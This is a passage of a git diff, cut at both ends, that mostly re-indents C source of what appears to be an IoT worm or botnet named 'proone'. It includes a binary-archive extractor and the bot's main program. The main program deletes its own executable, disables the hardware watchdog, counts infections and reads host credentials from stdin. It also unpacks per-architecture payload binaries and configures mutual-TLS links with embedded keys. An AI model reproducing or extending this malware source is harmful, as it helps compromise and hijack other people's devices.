break; - default: - err_str = "* unknown"; - } - - if (err_msg == NULL) { - fprintf(stderr, "%s.\n", err_str); - } - else { - fprintf(stderr, "%s: %s\n", err_str, err_msg); - } + const char *err_str, *err_msg = NULL; + char err_buf[1024]; + + switch (r->result) { + case PRNE_UNPACK_BIN_ARCHIVE_OK: + err_str = "ok"; + break; + case PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR: + err_str = "crypto error"; + mbedtls_strerror(r->err, err_buf, 1024); + err_msg = err_buf; + break; + case PRNE_UNPACK_BIN_ARCHIVE_Z_ERR: + err_str = "zlib error"; + err_msg = zError((int)r->err); + break; + case PRNE_UNPACK_BIN_ARCHIVE_ERRNO: + err_str = "errno"; + err_msg = strerror((int)r->err); + break; + case PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR: + err_str = "memory error"; + err_msg = strerror((int)r->err); + break; + case PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR: + err_str = "format error"; + break; + default: + err_str = "* unknown"; + } + + if (err_msg == NULL) { + fprintf(stderr, "%s.\n", err_str); + } + else { + fprintf(stderr, "%s: %s\n", err_str, err_msg); + } } static void report_index_bin_archive_err (const prne_index_bin_archive_result_code_t c) { - const char *msg; - - switch (c) { - case PRNE_INDEX_BIN_ARCHIVE_OK: - msg = "ok"; break; - case PRNE_INDEX_BIN_ARCHIVE_FMT_ERR: - msg = "format error"; break; - case PRNE_INDEX_BIN_ARCHIVE_MEM_ERR: - msg = "memory error"; break; - default: - msg = "* unknown"; break; - } - - fprintf(stderr, "%s.\n", msg); + const char *msg; + + switch (c) { + case PRNE_INDEX_BIN_ARCHIVE_OK: + msg = "ok"; break; + case PRNE_INDEX_BIN_ARCHIVE_FMT_ERR: + msg = "format error"; break; + case PRNE_INDEX_BIN_ARCHIVE_MEM_ERR: + msg = "memory error"; break; + default: + msg = "* unknown"; break; + } + + fprintf(stderr, "%s.\n", msg); } int main (const int argc, const char **args) { - int exit_code = 0; - const char *path_prefix; - size_t path_prefix_len; - prne_unpack_bin_archive_result_t unpack_ret; - prne_bin_archive_t bin_archive; - prne_index_bin_archive_result_code_t index_ret; - size_t i; - const char *arch_str; - char *path = NULL; - size_t path_size; - void *ny_buf; - int fd = -1; - - if (argc <= 1) { - fprintf(stderr, "Usage: %s <prefix>\n", args[0]); - return 1; - } - - path_prefix = args[1]; - path_prefix_len = strlen(path_prefix); - prne_init_bin_archive(&bin_archive); - - do { // fake loop - unpack_ret = prne_unpack_bin_archive(STDIN_FILENO); - if (unpack_ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { - report_unpack_bin_archive_err(&unpack_ret); - exit_code = 2; - break; - } - - index_ret = prne_index_bin_archive(&unpack_ret, &bin_archive); - if (index_ret != PRNE_INDEX_BIN_ARCHIVE_OK) { - report_index_bin_archive_err(index_ret); - exit_code = 2; - break; - } - - for (i = 0; i < bin_archive.nb_binaries; i += 1) { - arch_str = prne_arch_tostr(bin_archive.arch_arr[i]); - if (arch_str == NULL) { - fprintf(stderr, "** unrecognised arch!"); - exit_code = 2; - break; - } - - path_size = 2 + path_prefix_len + strlen(arch_str); - ny_buf = prne_realloc(path, 1, path_size); - if (ny_buf == NULL) { - perror("prne_realloc()"); - exit_code = 2; - break; - } - path = (char*)ny_buf; - sprintf(path, "%s.%s", path_prefix, arch_str); - - fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666); - if (fd < 0) { - perror("open()"); - exit_code = 2; - break; - } - if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != (ssize_t)bin_archive.size_arr[i]) { - perror("write()"); - exit_code = 2; - break; - } - prne_close(fd); - } - } while (false); - - prne_free(path); - prne_close(fd); - prne_free_unpack_bin_archive_result(&unpack_ret); - prne_free_bin_archive(&bin_archive); - - return exit_code; + int exit_code = 0; + const char *path_prefix; + size_t path_prefix_len; + prne_unpack_bin_archive_result_t unpack_ret; + prne_bin_archive_t bin_archive; + prne_index_bin_archive_result_code_t index_ret; + size_t i; + const char *arch_str; + char *path = NULL; + size_t path_size; + void *ny_buf; + int fd = -1; + + if (argc <= 1) { + fprintf(stderr, "Usage: %s <prefix>\n", args[0]); + return 1; + } + + path_prefix = args[1]; + path_prefix_len = strlen(path_prefix); + prne_init_bin_archive(&bin_archive); + + do { // fake loop + unpack_ret = prne_unpack_bin_archive(STDIN_FILENO); + if (unpack_ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { + report_unpack_bin_archive_err(&unpack_ret); + exit_code = 2; + break; + } + + index_ret = prne_index_bin_archive(&unpack_ret, &bin_archive); + if (index_ret != PRNE_INDEX_BIN_ARCHIVE_OK) { + report_index_bin_archive_err(index_ret); + exit_code = 2; + break; + } + + for (i = 0; i < bin_archive.nb_binaries; i += 1) { + arch_str = prne_arch_tostr(bin_archive.arch_arr[i]); + if (arch_str == NULL) { + fprintf(stderr, "** unrecognised arch!"); + exit_code = 2; + break; + } + + path_size = 2 + path_prefix_len + strlen(arch_str); + ny_buf = prne_realloc(path, 1, path_size); + if (ny_buf == NULL) { + perror("prne_realloc()"); + exit_code = 2; + break; + } + path = (char*)ny_buf; + sprintf(path, "%s.%s", path_prefix, arch_str); + + fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0666); + if (fd < 0) { + perror("open()"); + exit_code = 2; + break; + } + if (write(fd, bin_archive.data + bin_archive.offset_arr[i], bin_archive.size_arr[i]) != (ssize_t)bin_archive.size_arr[i]) { + perror("write()"); + exit_code = 2; + break; + } + prne_close(fd); + } + } while (false); + + prne_free(path); + prne_close(fd); + prne_free_unpack_bin_archive_result(&unpack_ret); + prne_free_bin_archive(&bin_archive); + + return exit_code; } diff --git a/src/proone.c b/src/proone.c index b265ddf..301b194 100644 --- a/src/proone.c +++ b/src/proone.c @@ -39,521 +39,521 @@ static int int_pipe[2] = { -1, -1 }; static prne_wkr_pollfd_slot_pt int_pfd = NULL; static void proc_fin_call (void) { - if (prne_g.caught_signal != 0) { - prne_llist_entry_t *cur = wkr_pool.head; - prne_worker_t *w; - - prne_free_wkr_pollfd_slot(int_pfd); - int_pfd = NULL; - - while (cur != NULL) { - w = (prne_worker_t*)cur->element; - if (!w->has_finalised(w->ctx)) { - w->fin(w->ctx); - } - cur = cur->next; - } - - proc_fin_call_ptr = prne_empty_func; - finalising = true; - } + if (prne_g.caught_signal != 0) { + prne_llist_entry_t *cur = wkr_pool.head; + prne_worker_t *w; + + prne_free_wkr_pollfd_slot(int_pfd); + int_pfd = NULL; + + while (cur != NULL) { + w = (prne_worker_t*)cur->element; + if (!w->has_finalised(w->ctx)) { + w->fin(w->ctx); + } + cur = cur->next; + } + + proc_fin_call_ptr = prne_empty_func; + finalising = true; + } } static void alloc_workers (prne_wkr_sched_req_t *sched_req) { - prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); - if (prne_g.resolv != NULL) { - resolv_wkr.id = PRNE_RESOLV_WKR_ID; - wkr_arr[0] = &resolv_wkr; - if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) { - prne_g.resolv = NULL; - } - } + prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); + if (prne_g.resolv != NULL) { + resolv_wkr.id = PRNE_RESOLV_WKR_ID; + wkr_arr[0] = &resolv_wkr; + if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) { + prne_g.resolv = NULL; + } + } } static void free_workers (void) { - for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { - if (wkr_arr[i] == NULL) { - continue; - } - wkr_arr[i]->free(wkr_arr[i]->ctx); - wkr_arr[i] = NULL; - } - prne_g.resolv = NULL; + for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { + if (wkr_arr[i] == NULL) { + continue; + } + wkr_arr[i]->free(wkr_arr[i]->ctx); + wkr_arr[i] = NULL; + } + prne_g.resolv = NULL; } #ifdef PRNE_DEBUG static void handle_sigpipe (const int sn) { - // ALWAYS poll() before writing to fd! - abort(); + // ALWAYS poll() before writing to fd! + abort(); } #endif static int proone_main (void) { #ifdef PRNE_DEBUG - static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s + static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s #endif - static int exit_code = 0, poll_ret; - static prne_wkr_tick_info_t tick_info; - static prne_wkr_sched_req_t sched_req; - static prne_llist_entry_t *cur; - static prne_worker_t *wkr; + static int exit_code = 0, poll_ret; + static prne_wkr_tick_info_t tick_info; + static prne_wkr_sched_req_t sched_req; + static prne_llist_entry_t *cur; + static prne_worker_t *wkr; #ifdef PRNE_DEBUG - static struct { - prne_wkr_sched_req_t sched; - prne_wkr_timeout_slot_pt busy_tos; - bool sched_ret; - } dbg; + static struct { + prne_wkr_sched_req_t sched; + prne_wkr_timeout_slot_pt busy_tos; + bool sched_ret; + } dbg; #endif #ifdef PRNE_DEBUG - signal(SIGPIPE, handle_sigpipe); + signal(SIGPIPE, handle_sigpipe); #else - signal(SIGPIPE, SIG_IGN); + signal(SIGPIPE, SIG_IGN); #endif #ifdef PRNE_DEBUG - prne_init_wkr_sched_req(&dbg.sched); - dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched); - assert(dbg.busy_tos != NULL); + prne_init_wkr_sched_req(&dbg.sched); + dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched); + assert(dbg.busy_tos != NULL); #endif - prne_init_wkr_sched_req(&sched_req); - prne_init_wkr_tick_info(&tick_info); - prne_init_llist(&wkr_pool); - alloc_workers(&sched_req); - if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); - } - int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); - if (int_pfd != NULL) { - int_pfd->pfd.fd = int_pipe[0]; - int_pfd->pfd.events = POLLIN; - } - - if (wkr_pool.size == 0) { - exit_code = 1; - goto END; - } - if (prne_g.caught_signal != 0) { - goto END; - } - - proc_fin_call_ptr = proc_fin_call; - prne_wkr_tick_info_set_start(&tick_info); - while (true) { - proc_fin_call_ptr(); - - cur = wkr_pool.head; - while (cur != NULL) { - wkr = (prne_worker_t*)cur->element; - - if (wkr->has_finalised(wkr->ctx)) { - cur = prne_llist_erase(&wkr_pool, cur); - } - else { - wkr->work(wkr->ctx, &tick_info); - cur = cur->next; - } - } - - if (wkr_pool.size == 0) { - exit_code = finalising ? 0 : 1; - break; - } - - poll_ret = -1; - if (prne_wkr_sched_req_prep_poll(&sched_req)) { + prne_init_wkr_sched_req(&sched_req); + prne_init_wkr_tick_info(&tick_info); + prne_init_llist(&wkr_pool); + alloc_workers(&sched_req); + if (pipe(int_pipe) == 0) { + prne_set_pipe_size(int_pipe[0], 1); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + } + int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); + if (int_pfd != NULL) { + int_pfd->pfd.fd = int_pipe[0]; + int_pfd->pfd.events = POLLIN; + } + + if (wkr_pool.size == 0) { + exit_code = 1; + goto END; + } + if (prne_g.caught_signal != 0) { + goto END; + } + + proc_fin_call_ptr = proc_fin_call; + prne_wkr_tick_info_set_start(&tick_info); + while (true) { + proc_fin_call_ptr(); + + cur = wkr_pool.head; + while (cur != NULL) { + wkr = (prne_worker_t*)cur->element; + + if (wkr->has_finalised(wkr->ctx)) { + cur = prne_llist_erase(&wkr_pool, cur); + } + else { + wkr->work(wkr->ctx, &tick_info); + cur = cur->next; + } + } + + if (wkr_pool.size == 0) { + exit_code = finalising ? 0 : 1; + break; + } + + poll_ret = -1; + if (prne_wkr_sched_req_prep_poll(&sched_req)) { #ifdef PRNE_DEBUG - if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) { - if (!dbg.busy_tos->active) { - dbg.busy_tos->active = true; - dbg.busy_tos->dur = DBG_BUSY_CHECK_INT; - } - } - else { - dbg.busy_tos->active = false; - } - dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched); + if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) { + if (!dbg.busy_tos->active) { + dbg.busy_tos->active = true; + dbg.busy_tos->dur = DBG_BUSY_CHECK_INT; + } + } + else { + dbg.busy_tos->active = false; + } + dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched); #endif - prne_wkr_sched_req_do_poll(&sched_req, &poll_ret); - } - else { + prne_wkr_sched_req_do_poll(&sched_req, &poll_ret); + } + else { #ifdef PRNE_DEBUG - dbg.busy_tos->active = false; - dbg.sched_ret = false; + dbg.busy_tos->active = false; + dbg.sched_ret = false; #endif - } - prne_wkr_tick_info_set_tick(&tick_info); - prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff); + } + prne_wkr_tick_info_set_tick(&tick_info); + prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff); #ifdef PRNE_DEBUG - if (dbg.sched_ret) { - prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff); - if (dbg.busy_tos->active && dbg.busy_tos->reached) { - const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT); - dbg.busy_tos->active = false; - fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s"); - } - } + if (dbg.sched_ret) { + prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff); + if (dbg.busy_tos->active && dbg.busy_tos->reached) { + const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT); + dbg.busy_tos->active = false; + fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s"); + } + } #endif - } + } END: - free_workers(); + free_workers(); - prne_free_llist(&wkr_pool); - prne_free_wkr_pollfd_slot(int_pfd); - prne_free_wkr_tick_info(&tick_info); - prne_free_wkr_sched_req(&sched_req); + prne_free_llist(&wkr_pool); + prne_free_wkr_pollfd_slot(int_pfd); + prne_free_wkr_tick_info(&tick_info); + prne_free_wkr_sched_req(&sched_req); #ifdef PRNE_DEBUG - prne_free_wkr_timeout_slot(dbg.busy_tos); - prne_free_wkr_sched_req(&dbg.sched); + prne_free_wkr_timeout_slot(dbg.busy_tos); + prne_free_wkr_sched_req(&dbg.sched); #endif - return exit_code; + return exit_code; } static bool ensure_single_instance (void) { - prne_g.lock_shm_fd = shm_open( - prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT, - 0666); - prne_dvault_reset_dict(); - if (prne_g.lock_shm_fd < 0) { - return true; - } - - if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { - prne_close(prne_g.lock_shm_fd); - prne_g.lock_shm_fd = -1; - - return false; - } - - return true; + prne_g.lock_shm_fd = shm_open( + prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), + O_RDWR | O_CREAT, + 0666); + prne_dvault_reset_dict(); + if (prne_g.lock_shm_fd < 0) { + return true; + } + + if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { + prne_close(prne_g.lock_shm_fd); + prne_g.lock_shm_fd = -1; + + return false; + } + + return true; } static void delete_myself (const char *arg0) { #ifndef PRNE_DEBUG - static const char *proc_path = "/proc/self/exe"; - struct stat st; - const char *path_to_unlink = NULL; - char *path_buf = NULL; - - // get real path of myself - if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) { - path_buf[st.st_size] = 0; - path_to_unlink = path_buf; - } - else { - // try to delete arg0 instead - path_to_unlink = arg0; - } - - unlink(path_to_unlink); - prne_free(path_buf); + static const char *proc_path = "/proc/self/exe"; + struct stat st; + const char *path_to_unlink = NULL; + char *path_buf = NULL; + + // get real path of myself + if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) { + path_buf[st.st_size] = 0; + path_to_unlink = path_buf; + } + else { + // try to delete arg0 instead + path_to_unlink = arg0; + } + + unlink(path_to_unlink); + prne_free(path_buf); #endif } static void disasble_watchdog (void) { #ifndef PRNE_DEBUG - static const char *watchdog_paths[] = { - "/dev/watchdog", - "/dev/misc/watchdog" - }; - static const int one = 1; - int fd; - size_t i; - - for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { - if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { - ioctl(fd, 0x80045704, &one); - prne_close(fd); - break; - } - } + static const char *watchdog_paths[] = { + "/dev/watchdog", + "/dev/misc/watchdog" + }; + static const int one = 1; + int fd; + size_t i; + + for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { + if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { + ioctl(fd, 0x80045704, &one); + prne_close(fd); + break; + } + } #endif } static void handle_interrupt (const int sig) { - uint8_t rubbish = 0; + uint8_t rubbish = 0; - prne_g.caught_signal = sig; - write(int_pipe[1], &rubbish, 1); + prne_g.caught_signal = sig; + write(int_pipe[1], &rubbish, 1); } static void setup_signal_actions (void) { - struct sigaction sa; + struct sigaction sa; - sa.sa_handler = handle_interrupt; - sigemptyset(&sa.sa_mask); - sa.sa_flags = SA_RESETHAND; + sa.sa_handler = handle_interrupt; + sigemptyset(&sa.sa_mask); + sa.sa_flags = SA_RESETHAND; - // try to exit gracefully upon reception of these signals - sigaction(SIGINT, &sa, NULL); - sigaction(SIGTERM, &sa, NULL); + // try to exit gracefully upon reception of these signals + sigaction(SIGINT, &sa, NULL); + sigaction(SIGTERM, &sa, NULL); } static void read_host_credential (void) { - static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; - char *buf = (char*)prne_malloc(1, buf_size); - size_t i; - bool found = false; - - for (i = 0; i < buf_size; i += 1) { - if (read(STDIN_FILENO, &buf[i], 1) != 1) { - goto END; - } - - if (buf[i] == '\n') { - found = true; - break; - } - } - if (found && - prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) && - prne_g.host_cred_size > 1 + 2 + 255 * 2) { - prne_free(prne_g.host_cred_data); - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; - } + static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; + char *buf = (char*)prne_malloc(1, buf_size); + size_t i; + bool found = false; + + for (i = 0; i < buf_size; i += 1) { + if (read(STDIN_FILENO, &buf[i], 1) != 1) { + goto END; + } + + if (buf[i] == '\n') { + found = true; + break; + } + } + if (found && + prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) && + prne_g.host_cred_size > 1 + 2 + 255 * 2) { + prne_free(prne_g.host_cred_data); + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; + } END: - prne_free(buf); + prne_free(buf); } static void set_env (void) { - // environment set up function calls in here + // environment set up function calls in here } static void load_ssl_conf (void) { - if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) { - prne_g.s_ssl.ready = - mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && - mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; - if (prne_g.s_ssl.ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); - // mutual auth - mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); - // ignore expired cert (system wall clock might not be set) - mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); - } - - prne_g.c_ssl.ready = - mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && - mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; - if (prne_g.c_ssl.ready) { - mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); - // mutual auth - mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); - // ignore expired cert (system wall clock might not be set) - mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); - } - } + if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) { + prne_g.s_ssl.ready = + mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && + mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && + mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && + mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && + mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; + if (prne_g.s_ssl.ready) { + mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); + // mutual auth + mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); + // ignore expired cert (system wall clock might not be set) + mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); + } + + prne_g.c_ssl.ready = + mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && + mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && + mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; + if (prne_g.c_ssl.ready) { + mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); + // mutual auth + mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); + // ignore expired cert (system wall clock might not be set) + mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); + } + } } static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { - if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { - mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); - } + if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { + mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); + } } static void init_shared_global (void) { - // just die on error - const size_t str_len = 1 + 30; - int fd; - char *name; - - name = prne_malloc(1, str_len + 1); - name[0] = '/'; - name[str_len] = 0; - prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); - - fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); - if (fd < 0) { - abort(); - } - shm_unlink(name); - prne_free(name); - - if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { - abort(); - } - prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); - if (prne_s_g == NULL) { - abort(); - } - prne_close(fd); - - prne_s_g->bne_cnt = 0; - prne_s_g->infect_cnt = 0; + // just die on error + const size_t str_len = 1 + 30; + int fd; + char *name; + + name = prne_malloc(1, str_len + 1); + name[0] = '/'; + name[str_len] = 0; + prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); + + fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000); + if (fd < 0) { + abort(); + } + shm_unlink(name); + prne_free(name); + + if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { + abort(); + } + prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (prne_s_g == NULL) { + abort(); + } + prne_close(fd); + + prne_s_g->bne_cnt = 0; + prne_s_g->infect_cnt = 0; } int main (const int argc, char **args) { - static int exit_code = 0; - static int exit_pipe[2] = { -1, -1 }; - - prne_g.host_cred_data = NULL; - prne_g.host_cred_size = 0; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start)); - prne_g.run_cnt = 0; - prne_g.resolv = NULL; - prne_g.god_exit_evt = -1; - prne_g.caught_signal = 0; - prne_g.god_pid = getpid(); - prne_g.proone_pid = 0; - prne_g.lock_shm_fd = -1; - prne_g.bin_ready = false; - prne_g.is_child = false; - prne_init_unpack_bin_archive_result(&prne_g.bin_pack); - prne_init_bin_archive(&prne_g.bin_archive); - mbedtls_x509_crt_init(&prne_g.ssl.ca); - mbedtls_entropy_init(&prne_g.ssl.entpy); - mbedtls_ctr_drbg_init(&prne_g.ssl.rnd); - mbedtls_ssl_config_init(&prne_g.s_ssl.conf); - mbedtls_x509_crt_init(&prne_g.s_ssl.crt); - mbedtls_pk_init(&prne_g.s_ssl.pk); - mbedtls_dhm_init(&prne_g.s_ssl.dhm); - prne_g.s_ssl.ready = false; - mbedtls_ssl_config_init(&prne_g.c_ssl.conf); - mbedtls_x509_crt_init(&prne_g.c_ssl.crt); - mbedtls_pk_init(&prne_g.c_ssl.pk); - prne_g.c_ssl.ready = false; - - // inits that need no outside resources - prne_init_dvault(); - set_env(); - if (pipe(exit_pipe) == 0) { - prne_set_pipe_size(exit_pipe[0], 1); - prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC)); - prne_g.god_exit_evt = exit_pipe[0]; - } - - /* inits that need outside resources. IN THIS ORDER! */ - load_ssl_conf(); - seed_ssl_rnd(NULL, 0); - init_shared_global(); - delete_myself(args[0]); - disasble_watchdog(); - - read_host_credential(); - // get fed with the bin archive - prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); - if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { - prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; - } - - if (!ensure_single_instance()) { - exit_code = 1; - goto END; - } - - // done with the terminal - prne_close(STDIN_FILENO); - prne_close(STDOUT_FILENO); + static int exit_code = 0; + static int 